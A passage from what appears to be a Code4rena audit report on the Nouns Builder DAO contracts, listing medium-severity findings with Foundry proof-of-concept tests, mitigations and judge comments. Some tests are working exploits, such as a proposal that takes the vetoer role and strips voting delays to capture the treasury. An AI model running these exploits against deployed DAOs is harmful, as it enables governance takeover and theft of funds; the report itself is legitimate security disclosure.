uint256 bidder1Votes = token.getVotes(bidder1);
uint256 auctionVotes = token.getVotes(address(auction));
uint256 realVotingPower = founderVotes + founder2Votes + bidder1Votes;
uint256 assumedVotingPower = token.totalSupply();
assertEq(realVotingPower, assumedVotingPower - amountOfBurnedTokens - auctionVotes);
//Create mock proposal
(address[] memory targets, uint256[] memory values, bytes[] memory calldatas) = mockProposal();
vm.prank(bidder1);
bytes32 proposalId = governor.propose(targets, values, calldatas, "");
emit log_string("Amount of tokens minted: ");
emit log_uint(token.totalSupply());
emit log_string("Amount of tokens burned:");
emit log_uint(amountOfBurnedTokens);
emit log_string("---------");
emit log_string("The real quorumThresholdBps is: ");
uint256 realquorumThresholdBps = (governor.getProposal(proposalId).quorumVotes * 10_000) / realVotingPower;
emit log_uint(realquorumThresholdBps);
emit log_string("The assumed quorumThresholdBps is:");
uint256 assumedquorumThresholdBps = (governor.getProposal(proposalId).quorumVotes * 10_000) / token.totalSupply();
emit log_uint(assumedquorumThresholdBps);
emit log_string("---------");
vm.warp(governor.getProposal(proposalId).voteStart);
//Everybody cast a `for` vote
vm.prank(founder);
governor.castVote(proposalId, 1);
vm.prank(founder2);
governor.castVote(proposalId, 1);
vm.prank(bidder1);
governor.castVote(proposalId, 1);
emit log_string("The amount of votes necessary for this proposal to pass is:");
emit log_uint(governor.getProposal(proposalId).quorumVotes);
emit log_string("The amount of for votes in the proposal:");
emit log_uint(governor.getProposal(proposalId).forVotes);
//Proposal still doesn't pass
vm.warp((governor.getProposal(proposalId).voteEnd));
vm.expectRevert(abi.encodeWithSignature("PROPOSAL_UNSUCCESSFUL()"));
governor.queue(proposalId);
}
Tools Used
Forge
Recommended Mitigation Steps
Either one of this 2 options is viable:
- Decrease
token.totalSupply()
whenever a token gets burned. This might not be expected behaviour from the point of view of external protocols. - Adjust the calculations in
proposal.quorum()
andgovernor.proposalThreshold()
in such a way that they take into account the burned tokens and the tokens currently held by the auction contract.
Alex the Entreprenerd (judge) decreased severity to Medium and commented:
The system is using totalSupply as a way to determine quorum.
Because the system is adapted to not look at totalSupply at a certain block, I assume the Sponsor removed the code to reduce totalSupply.
However this can cause issues, such as the inability to reach quorum, or quorum being too high compared to circulatingSupply.
I believe that mitigation for this issue is not straightforward, as to allow dynamic totalSupply changes, checkpoints for total supply should be brought back as well.
From checking NounsDAO code, they handle this by using a list for the totalSupply and popping an entry out of it: https://etherscan.io/address/0x9c8ff314c9bc7f6e59a9d9225fb22946427edc03#code#F11#L183
Meaning that totalSupply does change in what is the reference implementation for this codebase.
Given the above, I believe the finding to be valid and of Medium Severity.
iainnash (Nouns Builder) confirmed
[M-11] Loss of Veto Power can Lead to 51% Attack
Submitted by TomJ, also found by 0xSky, ayeslick, Chom, pedr02b2, PwnPatrol, yixxas, and zkhorse
Governor.sol#L76
Governor.sol#L596-L602
The veto power is important functionality for current Nouns DAO logic in order to protect their treasury from malicious proposals.
However there is lack of zero address check and lack of 2 step address changing process for vetoer address.
This might lead to DAO owner losing their veto power unintentionally and open to 51% attack which can drain their entire treasury.
https://dialectic.ch/editorial/nouns-governance-attack
https://dialectic.ch/editorial/nouns-governance-attack-2
Proof of Concept
Lack of 0-address check for vetoer address at initialize() of Governor.sol
Also I recommend to make changing address process of vetoer at updateVetoer() into 2-step process to avoid accidently setting
vetoer to arbitrary address and end up lossing veto power unintentionally.
Governor.sol:
57: function initialize(
...
76: settings.vetoer = _vetoer;
596: function updateVetoer(address _newVetoer) external onlyOwner {
597: if (_newVetoer == address(0)) revert ADDRESS_ZERO();
599: emit VetoerUpdated(settings.vetoer, _newVetoer);
601: settings.vetoer = _newVetoer;
602: }
Recommended Mitigation Steps
Add zero address check for vetoer address at initialize().
Change updateVetoer() vetoer address changing process to 2-step process like explained below.
First make the updateVetoer() function approve a new vetoer address as a pending vetoer.
Next that pending vetoer has to claim the ownership in a separate transaction to be a new vetoer.
Alex the Entreprenerd (judge) commented:
Given the informations that we have, the settings that are available and the historical context, considering that the contract can allow burning the Vetoer, the Warden has demonstrated a risk that applies to all DAOs built via the factory, as well as other Governance Processes which share those traits.
Because this exploit is contingent on external factors, I think Medium Severity to be appropriate.
I personally believe that a Vetoer is a challenge toward a decentralized governance process, however I must agree with the evidence that a 51% attack is possible and has been exploited in the past via code similar to that which is in scope.
tbtstl (Nouns Builder) confirmed
kulkarohan (Nouns Builder) commented:
The zero-address check is done in
Manager.deploy()
— see the following lines:I agree however that the vetoer should be set in 2-steps instead of directly.
kulkarohan (Nouns Builder) disagreed with severity and commented:
Believe this is QA IMO.
Alex the Entreprenerd (judge) commented:
Agree with the sponsor that 2 step checks are QA.
However, am choosing to keep the report as Med for the 51% attack part.
Historically this has been exploited and can create a dramatic impact.
My specific reasoning is that a 51% attack can happen, exclusively if Vetoer is removed, apathetic or malicious.
This guiding principle has opened up, for this specific contest, a set of decision that inherently create some attrition between me and the sponsor, specifically: this report, as well as #479 and #622.
My reasoning is that all of these findings are logically equivalent.
- There’s a risk of brute forcing the system
- To avoid the brute force we have a trusted third party
- The trusted third party creates a new set of complications
I can only empathize with the Sponsor in that the system does what it’s supposed to do, which is being a factory of Nouns DAO, at the same time, because of our rules, and the historical context of previous judging, Admin Privilege is a valid Medium Severity finding (as highlighted by other reports in this same contest and others).
Unfortunately Admin privilege in the case of governance falls onto the Vetoer, the one entity that is necessary to avoid a riskier (potentially) situation of a 51% attack. 51% voting power can be reached by bribing any time it’s economically feasible.
It is indeed circular logic, which to me reflects the current state of onChain governance. Which means I don’t have a clear mitigation.
For those reasons I can agree to disagree with the Sponsor and also recommend a nofix as at this time, with the given architecture, we either have a risk of Malicious Governance, Bribeable Voters, or risk of Malicious Vetoer.
When we talk about “Smart Contract” risk today, we can talk about Qualitative Risks and Quantitative Risks, the idea that a Vetoer could be malicious seems to fall into a Qualitative Risk, due to the bleeding-edge state of the tech and industry, I believe every person using the system is aware of those risks, however the acknowledgement of those risks doesn’t make it disappear.
This report and the two linked below also show a limitation of our current rules as well as the need to clarify what is “acceptable” Admin Privilege vs what is not.
Because of the context detailed above, I believe that I must judge those 3 findings equivalently, and while an argument for downgrading them to QA is legitimate, I believe that the correct severity, consistent over the organization’s lifetime (over 1 year and a half) is Medium Severity.
I understand other Auditors and projects offer a different rating (see Consensys Medium for Flagging staff up, vs our Medium which means Loss of Funds Conditional on External Conditions)
And I believe these findings will have to be discussed within the org to decide if Medium severity is appropriate.
I’ll be flagging these findings up to discuss them with the broader community and discuss whether it is correct or appropriate for C4 to judge findings that ultimately “protect the end user” while they create attrition with the Sponsor.While we have those discussions, at this time, C4 has prided itself in calling out unspoken risks that are inherent with a specific system (Smart Contract Risk), and in the case of the governor, as detailed by this report, #479 and #622 there’s an inherent risk which we made our best effort to quantify, and hopefully in talking about instead of taking it for granted, as a industry, we can find a way to build software that addresses these concerns.
[M-12] Try-catch block at Auction._createAuction()
will only catch string errors
Submitted by 0xA5DF
The _createAuction
function wraps the token.mint()
call in a try-catch block, however this will only catch reverts that comes from the require keyword and not the reverts with custom errors or other kinds of errors (arithmetic over/underflow etc.)
Impact
In case of an error at the mint()
function the auction won’t be settled till the owner intervenes and pauses the contract.
Proof of Concept
Here’s a test that proves that catch Error()
doesn’t catch custom errors (the test will fail):
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
contract ContractTest is Test {
function testErr() public{
Reverter r = new Reverter();
try r.throwCustomError(){
}catch Error(string memory) {
}
}
}
contract Reverter{
error MyErr();
function throwCustomError() public{
revert MyErr();
}
}
Recommended Mitigation Steps
Remove the Error
so that it’ll catch any kind of revert:
// Pause the contract if token minting failed
- } catch Error(string memory) {
+ } catch {
_pause();
}
}
Alex the Entreprenerd (judge) commented:
Any revert caused by minting will not be captured.
This means that in the case of a erroneous mint the contract will be effectively bricked (and not paused).
I have considered higher severity, but in lack of clear conditions for revert, I think Medium is appropriate.
iainnash (Nouns Builder) confirmed
[M-13] Compromised or malicious vetoer can veto any proposals with unrestricted power
Submitted by rbserver, also found by ayeslick and rvierdiiev
The settings.vetoer
, which is the first founder defined by the FounderParams
, can call the following veto
function to veto any proposals that are not yet executed, which immediately blocks these proposals from execution. Because the vetoer is just one founder, which can just be a single EOA, the chance of losing its private key and being compromised is not low. There is also no guarantee that the vetoer will not become malicious in the future. When the vetoer becomes compromised or malicious, all critical proposals, such as for updating implementations or withdrawing funds from the treasury, can be vetoed so the negative impact can be very high.
function veto(bytes32 _proposalId) external {
// Ensure the caller is the vetoer
if (msg.sender != settings.vetoer) revert ONLY_VETOER();
// Ensure the proposal has not been executed
if (state(_proposalId) == ProposalState.Executed) revert PROPOSAL_ALREADY_EXECUTED();
// Get the pointer to the proposal
Proposal storage proposal = proposals[_proposalId];
// Update the proposal as vetoed
proposal.vetoed = true;
// If the proposal was queued:
if (settings.treasury.isQueued(_proposalId)) {
// Cancel the proposal
settings.treasury.cancel(_proposalId);
}
emit ProposalVetoed(_proposalId);
}
Proof of Concept
Please append the following tests in test\Gov.t.sol
. These tests will pass to demonstrate the vetoer’s power for vetoing pending, active, and queued proposals.
function test_VetoPendingProposal() public {
bytes32 proposalId = createProposal();
assertEq(uint256(governor.state(proposalId)), uint256(ProposalState.Pending));
// vetoer can veto a pending proposal without a delay
vm.prank(founder);
governor.veto(proposalId);
assertEq(uint8(governor.state(proposalId)), uint8(ProposalState.Vetoed));
}
function test_VetoActiveProposal() public {
mintVoter1();
bytes32 proposalId = createProposal();
uint256 votingDelay = governor.votingDelay();
vm.warp(block.timestamp + votingDelay + 1);
assertEq(uint256(governor.state(proposalId)), uint256(ProposalState.Active));
// vetoer can veto an active proposal without a delay
vm.prank(founder);
governor.veto(proposalId);
assertEq(uint8(governor.state(proposalId)), uint8(ProposalState.Vetoed));
}
function test_VetoQueuedProposal() public {
mintVoter1();
bytes32 proposalId = createProposal();
vm.warp(block.timestamp + governor.votingDelay());
assertEq(uint256(governor.state(proposalId)), uint256(ProposalState.Active));
vm.prank(voter1);
governor.castVote(proposalId, 1);
vm.warp(block.timestamp + governor.votingPeriod());
assertEq(uint256(governor.state(proposalId)), uint256(ProposalState.Succeeded));
vm.prank(voter1);
governor.queue(proposalId);
assertEq(uint256(governor.state(proposalId)), uint256(ProposalState.Queued));
// vetoer can veto a queued proposal without a delay
vm.prank(founder);
governor.veto(proposalId);
assertEq(uint8(governor.state(proposalId)), uint8(ProposalState.Vetoed));
}
Tools Used
VSCode
Recommended Mitigation Steps
A token supply threshold governance configuration can be added. Before the token supply exceeds this threshold, the vetoer can remain in full power for protecting against the 51% attack on the deployed DAO while the token supply is low.
After the token supply exceeds this threshold, the following changes can be considered for restricting the vetoer’s power.
- The vetoer is only allowed to veto a proposal during a defined period after the voting is done. The proposal is not allowed to be executed during this period.
- The vetoer is only allowed to veto the passed proposal when the number of support and against votes are very close or the number of support votes is much higher than the against votes.
tbtstl (Nouns Builder) disputed and commented:
The intention of the vetoer is to ensure they can veto. This is by design.
Alex the Entreprenerd (judge) commented:
I believe that in the spirit of transparency, because the 51% without Vetoer is a valid attack, then the idea the Vetoer can be the weak link also has to be entertained.
While we would all agree that there are ways to mitigate this, such as using a fairly strong multisig with members of other projects, we would also agree concede that the Vetoer would still be the last piece before decentralization.
In that sense, an early project does carry further risk because of the Vetoer, and while a Vetoer itself is not inherently good nor bad, the Vetoer itself could create opportunities for sophisticated attacks.
Other reports spoke about bribing voters, or pure 51% attacks, and all of these are contingent on the Vetoer being unable to react / defend the protocol at the right time.
So, if we agree that the lack of Vetoer is a vulnerability we must also agree that the presence of a tyrannical Vetoer is a vulnerability as well.
In that sense we must admit that Governance itself can create further problems and risks and perhaps issuing enough tokens to allow the burning of the Vetoer is the first step towards a more decentralized Project.
tbtstl (Nouns Builder) acknowledged
Alex the Entreprenerd (judge) commented:
Because Code4rena is a user facing Project, where our reports can be used to persuade end-users that the protocols are safe, per the logic detailed above, the finding is valid and of Medium Severity per our rules.
[M-14] Creating a new governance proposal can be prevented by anyone
Submitted by berndartmueller, also found by CertoraInc, m9800, and scaraven
When creating a new governance proposal, the proposalId
is generated by hashing the proposal data (_targets, _values, _calldatas, descriptionHash
). To prevent duplicated proposals, the current Governor
implementation checks if the proposalId
exists already. If it exists, the call will revert with the PROPOSAL_EXISTS
error.
Impact
Anyone can prevent others from creating governance proposals by front-running the create proposal transaction with the same data, followed by an immediate call to the Governor.cancel
function.
This will prevent creating a proposal with the same proposal data. A proposal creator would have to slightly change the proposal to try to create it again (however, it can be prevented again due to the aforementioned issue).
Proof of Concept
governance/governor/Governor.propose
function propose(
address[] memory _targets,
uint256[] memory _values,
bytes[] memory _calldatas,
string memory _description
) external returns (bytes32) {
[..]
// Compute the description hash
bytes32 descriptionHash = keccak256(bytes(_description));
// Compute the proposal id
bytes32 proposalId = hashProposal(_targets, _values, _calldatas, descriptionHash);
// Get the pointer to store the proposal
Proposal storage proposal = proposals[proposalId];
// Ensure the proposal doesn't already exist
if (proposal.voteStart != 0) revert PROPOSAL_EXISTS(proposalId); // @audit-info Reverts in case the proposals with the same data exists already
[..]
}
governance/governor/Governor.cancel
Cancelling a proposal updates the proposal.canceled
boolean property to true
. proposal.voteStart
is left unchanged (!= 0
).
/// @notice Cancels a proposal
/// @param _proposalId The proposal id
function cancel(bytes32 _proposalId) external {
// Ensure the proposal hasn't been executed
if (state(_proposalId) == ProposalState.Executed) revert PROPOSAL_ALREADY_EXECUTED();
// Get a copy of the proposal
Proposal memory proposal = proposals[_proposalId];
// Cannot realistically underflow and `getVotes` would revert
unchecked {
// Ensure the caller is the proposer or the proposer's voting weight has dropped below the proposal threshold
if (msg.sender != proposal.proposer && getVotes(proposal.proposer, block.timestamp - 1) > proposal.proposalThreshold)
revert INVALID_CANCEL();
}
// Update the proposal as canceled
proposals[_proposalId].canceled = true;
// If the proposal was queued:
if (settings.treasury.isQueued(_proposalId)) {
// Cancel the proposal
settings.treasury.cancel(_proposalId);
}
emit ProposalCanceled(_proposalId);
}
Recommended mitigation steps
Consider adding a per-account nonce storage variable (e.g. mapping(address => uint256) internal proposalCreatorNonces;
to the Governor
contract and include the proposalCreatorNonces[msg.sender]++
nonce within the computed proposal id.
Alex the Entreprenerd (judge) decreased severity to Medium and commented:
The Warden has shown how, a motivated attacker can consistently grief the DAO with multiple spam proposals, that front-run the “official” ones, with the goal of cancelling them and preventing them to go through.
This exploit can be performed as long as the attacker has sufficient balance to be a
Proposer
.The only saving grace from this finding being a High Severity is that there are ways to avoid the front-running.
Specifically a proposer could:
- Use a private relayer
- Ask a miner / proposer to mine the tx
Additionally, the Proposer could use a contract, which would loop through proposals, by using a source of randomness to try a bunch of new proposals.
Because checking if a proposal exists is cheaper than writing it (2.1k vs 20k to write in a storage slot), the write can eventually come up with one proposal the attacker didn’t perform.
However the remediation requires a new contract, not available at this time.
The reason why this remediation is possible is that the
_description
parameter is used to uniquely identify a proposal, this allows to create gibberish strings until we get one that goes through.Because the attack is:
- Possible
- Easy to implement
But can be sidestepped, via a fairly complicated processI think Medium Severity to be appropriate.
Remediation would be to add the proposer address as part of the proposal id identifier.
kulkarohan (Nouns Builder) confirmed
[M-15] Malicious pausing the contract
Submitted by V_B
Auction.sol#L204
Auction.sol#L206
Auction.sol#L235
There is a function _createAuction
in Auction
contract.
It consists of the following logic:
/// @dev Creates an auction for the next token
function _createAuction() private {
// Get the next token available for bidding
try token.mint() returns (uint256 tokenId) {
**creating of the auction for token with id equal to tokenId**
// Pause the contract if token minting failed
} catch Error(string memory) {
_pause();
}
}
According to the EIP-150 call
opcode can consume as most 63/64
of parrent calls’ gas. That means token.mint()
can fail since there will be no gas.
All in all, if token.mint()
fail on gas and the rest gas is enough for pausing the contract by calling _pause
in catch
statement the contract will be paused.
Please note, that a bug can be exploitable if the token.mint() consume more than 1.500.000 of gas, because 1.500.000 / 64 > 20.000 that need to pause the contract. Also, the logic of token.mint()
includes traversing the array up to 100 times, that’s heavy enough to reach 1.500.000 gas limit.
Impact
Contract can be paused by any user by passing special amount of gas for the call of settleCurrentAndCreateNewAuction
(which consists of two internal calls of _settleAuction
and _createAuction
functions).
Recommended Mitigation Steps
Add a special check for upper bound of gasLeft
at start of _createAuction
function.
Alex the Entreprenerd (judge) decreased severity to Medium and commented:
Honestly I’m really impressed by the submission, however I think the quote:
Please note, that a bug can be exploitable if the token.mint() consume more than 1.500.000 of gas, because 1.500.000 / 64 > 20.000 that need to pause the contract. Also, the logic of token.mint() includes traversing the array up to 100 times, that's heavy enough to reach 1.500.000 gas limit.
shows that the likelihood of this happening is extremely small, the base mint will cost between 20k and 40k gas, and each instance of the loop should roughly cost 5k, with the minting instance costing around 5k + up to 50kFrom basic napkin math this is actually surprisingly possible
However I believe the odds of this happening are extremely low as you’d need to have at least 20 tokens being minted to founders
I think Med is more appropriate for now, I really like the catch of the OOG exploit, however I may have to downgrade further as the worst case scenario being pausing is not impactful.
Alex the Entreprenerd (judge) commented:
I believe the finding to be valid and Medium Severity as the conditions are non-trivial, but the impact is Denial of Service which can be triggered predictably given the circumnstances.
iainnash (Nouns Builder) confirmed
[M-16] Auction parameters can be changed during ongoing auction
Submitted by __141345__, also found by pauliax, rbserver, rvierdiiev, and sorrynotsorry
The auction parameters can be changed anytime, even during ongoing auctions, and take effect immediately. Users may need time to react to the changes. The impacts maybe followings:
- some sudden changes may cause bidder’s transaction fail, such as
setReservePrice()
andsetMinimumBidIncrement()
- some changes may change users expectation about the auction, such as
setDuration()
andsetTimeBuffer()
, with different time parameters, bidders will use different strategy
Proof of Concept
src/auction/Auction.sol
function setDuration(uint256 _duration) external onlyOwner {
settings.duration = SafeCast.toUint40(_duration);
emit DurationUpdated(_duration);
}
function setReservePrice(uint256 _reservePrice) external onlyOwner {
settings.reservePrice = _reservePrice;
emit ReservePriceUpdated(_reservePrice);
}
function setTimeBuffer(uint256 _timeBuffer) external onlyOwner {
settings.timeBuffer = SafeCast.toUint40(_timeBuffer);
emit TimeBufferUpdated(_timeBuffer);
}
function setMinimumBidIncrement(uint256 _percentage) external onlyOwner {
settings.minBidIncrement = SafeCast.toUint8(_percentage);
emit MinBidIncrementPercentageUpdated(_percentage);
}
Recommended Mitigation Steps
- Do not apply changed parameters on ongoing auctions
- Add a timelock for the changes
Alex the Entreprenerd (judge) commented:
The Warden has shown how settings can be changed mid-auction, this can create undefined behaviour (insta-settlement, change of price).
While max loss is one token or the inability to settle the auction, because this could create a “social accident”, I believe that Medium Severity is appropriate.
Changes should either be cached in the Auction Parameters, or should be applied to the next auction to avoid any unexpected surprise
kulkarohan (Nouns Builder) confirmed
[M-17] A proposal can pass with 0 votes in favor at early DAO stages
Submitted by azephiar, also found by __141345__, bin2chen, cccz, davidbrai, pauliax, R2, rbserver, and Solimander
It’s possible to create a proposal for a DAO as soon as it’s deployed and the proposal can pass even if nobody votes.
This possibility of doing so is based on the following assumptions:
- The vetoer doesn’t veto the proposal
proposal.quorumVotes
is 0, which happens whentoken.totalSupply() * settings.quorumThresholdBps < 10_000
proposal.proposalThreshold
is 0, which happens whentoken.totalSupply() * settings.proposalThresholdBps < 10_000
The amount of time necessary to create and execute a proposal of this kind is dictated by governor.settings.votingDelay + governor.settings.votingDelay + treasury.delay()
, the lower the time the higher the risk.
Impact
A malicious actor could build an off-chain script that tracks DAODeployed
events on the Manager.sol
contract. Every time a new DAO is spawned the script submits a proposal. This attack is based on the fact that such at an early stage nobody might notice and the chances of this happening are made real because every new DAO can be targeted.
A potential proposal created by an attacker might look like this:
- Call
governor.updateVetoer(attacker)
- Call
governor.updateVotingDelay(0)
- Call
governor.updateVotingPeriod(0)
- Call
treasury.updateGracePeriod(0)
- Call
treasury.updateDelay(1 day)
With this setup the attacker can make a proposal and queue it immediately to then execute it after 1 day time; which gives him the time to veto any proposal that tries to interfere with the attack. At this point the attacker has sudo powers and if there’s any bid he can take the funds.
This is just one possible attack path, but the point is making a proposal pass can give an attacker sudo powers and nobody might notice for a while.
Proof of Concept
Here’s a test I wrote that proves the attack path outlined above, you can copy it into Gov.t.sol
and execute it with forge test -m test_sneakProposalAttack
:
function test_sneakProposalAttack() public {
address attacker = vm.addr(0x55);
address[] memory targets = new address[](5);
uint256[] memory values = new uint256[](5);
bytes[] memory calldatas = new bytes[](5);
// 1. Call `governor.updateVetoer(attacker)`
targets[0] = address(governor);
values[0] = 0;
calldatas[0] = abi.encodeWithSignature("updateVetoer(address)", attacker);
// 2. Call `governor.updateVotingDelay(0)`
targets[1] = address(governor);
values[1] = 0;
calldatas[1] = abi.encodeWithSignature("updateVotingDelay(uint256)", 0);
//3. Call `governor.updateVotingPeriod(0)`
targets[2] = address(governor);
values[2] = 0;
calldatas[2] = abi.encodeWithSignature("updateVotingPeriod(uint256)", 0);
//3. Call `treasury.updateGracePeriod(0)`
targets[3] = address(treasury);
values[3] = 0;
calldatas[3] = abi.encodeWithSignature("updateGracePeriod(uint256)", 0);
//4. Call `treasury.updateDelay(1 day)`
targets[4] = address(treasury);
values[4] = 0;
calldatas[4] = abi.encodeWithSignature("updateDelay(uint256)", 60 * 60 * 24);
//Attacker creates proposal as soon as contract is deployed
bytes32 proposalId = governor.propose(targets, values, calldatas, "");
//Wait for proposal.voteEnd
vm.warp((governor.getProposal(proposalId).voteEnd));
//Queue it
governor.queue(proposalId);
//Wait for treasury delay
vm.warp(block.timestamp + treasury.delay());
//Execute proposal
governor.execute(targets, values, calldatas, keccak256(bytes("")));
//Shows it's now possible for an attacker to queue a proposal immediately
bytes32 proposalId2 = governor.propose(targets, values, calldatas, "mock");
governor.queue(proposalId2);
//And executed it after one day
vm.warp(block.timestamp + 60 * 60 * 24);
governor.execute(targets, values, calldatas, keccak256(bytes("mock")));
}
Recommended Mitigation Steps
This potential attack path comes from a combination of factors, maninly:
- A proposal can be created directly after deployment
- The
proposal.proposal.proposalThreshold
andproposal.quorumVotes
are set to 0 at such early stages - A proposal with 0 votes is allowed to pass
I would say that requiring at least 1 vote for a proposal to be considered Succeeded
is rational and should mitigate this problem because that would require the attacker to bid on auction to get 1 voting power, increasing the cost and the time necessary for the attack.
At Governor.sol#L441 we have:
else if (proposal.forVotes < proposal.againstVotes || proposal.forVotes < proposal.quorumVotes) {
return ProposalState.Defeated;
}
which can be changed to:
else if (proposal.forVotes == 0 || proposal.forVotes < proposal.againstVotes || proposal.forVotes < proposal.quorumVotes) {
return ProposalState.Defeated;
}
Alex the Entreprenerd (judge) commented:
If total supply == 0, means it’s conditional, disagree with High.
Alex the Entreprenerd (judge) decreased severity to Medium and commented:
The Warden has shown how, because of rounding of numbers and a lack of an absolute value, a proposal can be proposed and made to pass with zero votes.
This is contingent on:
- Holders not voting against
- Vetoer not responding
- TotalSupply being low enough
And the impact is limited to the funds available to the treasury at that time (expected to be low compared to a more mature protocol).
Because of the above, I believe Medium Severity to be more appropriate.
kulkarohan (Nouns Builder) confirmed
[M-18] Precision is not enough for proposalThreshold
and quorum. Collections with at least 20000 NFTs in total supply may have some trouble.
Submitted by Chom
Precision is not enough for proposalThreshold and quorum. Collections with at least 20000 NFTs in total supply may have some trouble. These collections can’t be set proposalThreshold = 1 or quorum = 1.
Proof of Concept
/// @notice The current number of votes required to submit a proposal
function proposalThreshold() public view returns (uint256) {
unchecked {
return (settings.token.totalSupply() * settings.proposalThresholdBps) / 10_000;
}
}
/// @notice The current number of votes required to be in favor of a proposal in order to reach quorum
function quorum() public view returns (uint256) {
unchecked {
return (settings.token.totalSupply() * settings.quorumThresholdBps) / 10_000;
}
}
If totalSupply = 20000, with the lowest settings (settings.proposalThresholdBps, settings.quorumThresholdBps = 1), it would returns (20000 * 1) / 10000 = 2. And it can’t be lowered more.
Recommended Mitigation Steps
Increase division to a more precise value such as 1e18 to allow high total supply NFT to always set threshold as 1
/// @notice The current number of votes required to submit a proposal
function proposalThreshold() public view returns (uint256) {
unchecked {
return (settings.token.totalSupply() * settings.proposalThresholdBps) / 1e18;
}
}
/// @notice The current number of votes required to be in favor of a proposal in order to reach quorum
function quorum() public view returns (uint256) {
unchecked {
return (settings.token.totalSupply() * settings.quorumThresholdBps) / 1e18;
}
}
Alex the Entreprenerd (judge) commented:
While I think more could have been said, this report quantifies how the quorum math can be rounded down to zero.
Because the math is used to manage value, and allowances, I agree with Medium Severity.
I recommend end users to Fuzz Test the settings to visualize a rational quorum that prevents it from being too low.
kulkarohan (Nouns Builder) acknowledged
[M-19] Governor
- Quorum could be less than intended
Submitted by Picodes, also found by CertoraInc and Chom
There could be tokens minted between the quorum
computation and the vote, which would lead to a quorum lower than intended. It could be an issue at the beginning of the Token
lifecycle, when the total supply is still low.
Proof of Concept
When creating a proposal in the Governor
contract, proposal.quorumVotes
is computed during the propose
tx. However tokens could be minted after the propose
in the same block. In this case, they’ll still have a vote during the proposal due to how token.getPastVotes
works, therefore the quorum will be lower than intended given the actual total supply.
Recommended Mitigation Steps
Either compute the total supply afterwards, for example at the beginning of the vote, either takes the vote with a timestamp of proposal.timeCreated
- 1 to not count the block during which the tx was submitted.
Alex the Entreprenerd (judge) commented:
The Warden has shown how the quorum value can be manipulated because instead of checking for the totalSupply at time of creation, the Governor checks for a totalSupply that can change.
This is tied to the burning mechanism, so a refactor of both would be necessary.
Alternatively this could be a nofix, however admins and end users should be aware that the Quorum math will be inconsistent due to that check.
Because the quorum is tied to actions that can cause a leak of value or theft, I agree with Medium Severity.
tbtstl (Nouns Builder) acknowledged and commented:
ACK on this confusion – but this is the current behaviour of both Nouns and Lil Nouns, so I’d say it is intentional for now – we may want to adjust this in a future upgrade.
[M-20] Attackers can increase voting power by incentivizing
Submitted by Tomo
If the benefit to be gained from the outcome of the vote is less than the cost of obtaining the right to vote, the outcome of the vote is influenced.
Proof of Concept
Recommended Mitigation Steps
- Add blacklist check for
_castVote
function.
if(isBlacklisted(msg.sender) revert BLACKLISTED();
- Create a function to delete the voting power and add the address to the blacklist.
function addBlackList(address _blackList) external onlyOwner {
isBlackListed[_blackList] = true;
emit Blacklisted(_blackList);
}
function deleteVotingPower(address _blackListed,uint _weight, uint _support) external onlyOwner {
if (_support > 2) revert INVALID_VOTE();
require(hasVoted[_proposalId][_blackListed],"NO VOTING BY BLACKLISTED");
if (_support == 0) {
proposal.againstVotes -= _weight;
} else if (_support == 1) {
proposal.forVotes -= _weight;
} else if (_support == 2) {
// Update the total number of votes abstaining
proposal.abstainVotes -= _weight;
}
}
Similar Issue
Alex the Entreprenerd (judge) commented:
Nice idea, not sure if there’s any way to avoid this.
Allowlist would cause centralization issue, and would be defeated by the bribes as well.
Alex the Entreprenerd (judge) commented:
While I think the finding can be further developed. I have to concede that via bribes and incentives, governance can be skewed to act against the interest of the founders.
Whether this is good or bad per see, is not that relevant, however the system does allow delegation to a “malicious party” which would be able to obtain enough votes to do whatever they want.
Notice that the veto system prevents this as well, so we could argue that removing Vetoing allows this, which is effectively another take on a 51% attack.
Leaving as unique for the thought-provoking idea.
kulkarohan (Nouns Builder) disputed and commented:
This is why veto power is granted to founders. Not an issue IMO and would introduce needless complexity + centralization going the blacklist route.
Alex the Entreprenerd (judge) commented:
Per the discussion above, taking into consideration that CodeArena is a end-user facing project, meaning our reports could be used to determine if a project is safe or not;
Given the recent example of large scale bribes to influence a voting outcome
While disagreeing as well with the solution of offering a Blocklist to prevent malicious actor, and agreeing that the finding should have been better written.
I have to rationally concede that the ability to bribe governance can be used to extract value from the Treasury, a Vetoer may or may not offer protection at that time due to second order social consequences.
Because of that, given the rules (Loss of Value conditional on externalities), given the precedents (one linked above, I’m sure there’s many other), I still believe that this is a valid Medium Severity finding.
Per the comment by the sponsor, a properly aligned Vetoer will be able to prevent most of these attacks, however I don’t think that’s sufficient to make the finding invalid.
[M-21] Truncation in casting can lead to a founder receiving all the base tokens
Submitted by CertoraInc, also found by 0xSky, antonttc, bin2chen, izhuer, pcarranzav, peritoflores, PwnPatrol, rbserver, scaraven, Tomo, V_B, wagmi, and zzzitron
https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/token/Token.sol#L71-L126
https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/token/Token.sol#L88
The initialize function of the Token
contract receives an array of FounderParams
, which contains the ownership percent of each founder as a uint256
. The initialize function checks that the sum of the percents is not more than 100, but the value that is added to the sum of the percent is truncated to fit in uint8
. This leads to an error because the value that is used for assigning the base tokens is the original, not truncated, uint256
value.
This can lead to wrong assignment of the base tokens, and can also lead to a situation where not all the users will get the correct share of base tokens (if any).
Proof of Concept
To verify this bug I created a foundry test. You can add it to the test folder and run it with forge test --match-test testFounderGettingAllBaseTokensBug
.
This test deploys a token implementation and an ERC1967
proxy that points to it, and initializes the proxy using an array of 2 founders, each having 256 ownership percent. The value which is added to the totalOwnership
variable is a uint8
, and when truncating 256 to fit in a uint8
it will turn to 0, so this check will pass.
After the call to initialize, the test asserts that all the base token ids belongs to the first founder, which means the second founder didn’t get any base tokens at all.
What actually happens here is that the first founder gets the first 256 token ids, and the second founder gets the next 256 token ids, but because the base token is calculated % 100, only the first 100 matters and they will be owned by the first owner.
This happens because schedule
, which is equal to 100 / founderPct
, will be zero (100 / 256 == 0
due to uint div operation), and the base token id won’t be updated in (baseTokenId += schedule) % 100
(this line contains another mistake, which will be reported in another finding). The place where it will be updated is in the _getNextTokenId
, where it will be incremented by 1.
This exploit can work as long as the sum of the percents modulo 256 (truncation to uint8
) is not more than 100.
// The relative path of this file is "test/FounderGettingAllBaseTokensBug.t.sol"
// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
import { Test } from "forge-std/Test.sol";
import { IManager } from "../src/manager/Manager.sol";
import { IToken, Token } from "../src/token/Token.sol";
